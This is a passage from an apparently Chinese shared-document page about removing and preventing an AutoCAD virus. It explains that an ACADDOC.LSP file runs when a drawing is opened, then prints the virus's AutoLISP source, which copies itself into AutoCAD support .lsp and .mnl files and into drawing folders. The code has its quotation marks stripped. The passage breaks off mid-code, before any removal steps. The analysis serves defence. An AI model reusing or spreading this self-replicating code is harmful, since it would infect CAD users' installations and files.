一种CAD病毒的清与防范措施.docVIP

一种CAD病毒的清除与防范措施 雪山飞猪 QQ534455 近来又出现一种AutoCAD病毒，该病毒与以往CAD病毒不同。干净的CAD系统当打开DWG图时，如果该图所在目录下有ACADDOC.LSP文件（基本为病毒传播文件），ACADDOC.LSP就会运行。 病毒的特征与传播方式 我们先看看病毒代码，代码如下： (setq flagx t) (setq bz (setq flagx t)) (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r)) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r)) (setq wjm1 (open target a)) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar cmdecho 0) (setq acadmnl (findfile acad.mnl)) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath *.mnl)) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile acad.exe)) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath \\support)) (setq lspfilelist (vl-directory-files support *.lsp)) (setq lspfilelist (append lspfilelist (list acaddoc.lsp))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar dwgname)) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath \\acaddoc.lsp)) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath \\ (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support \\ (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0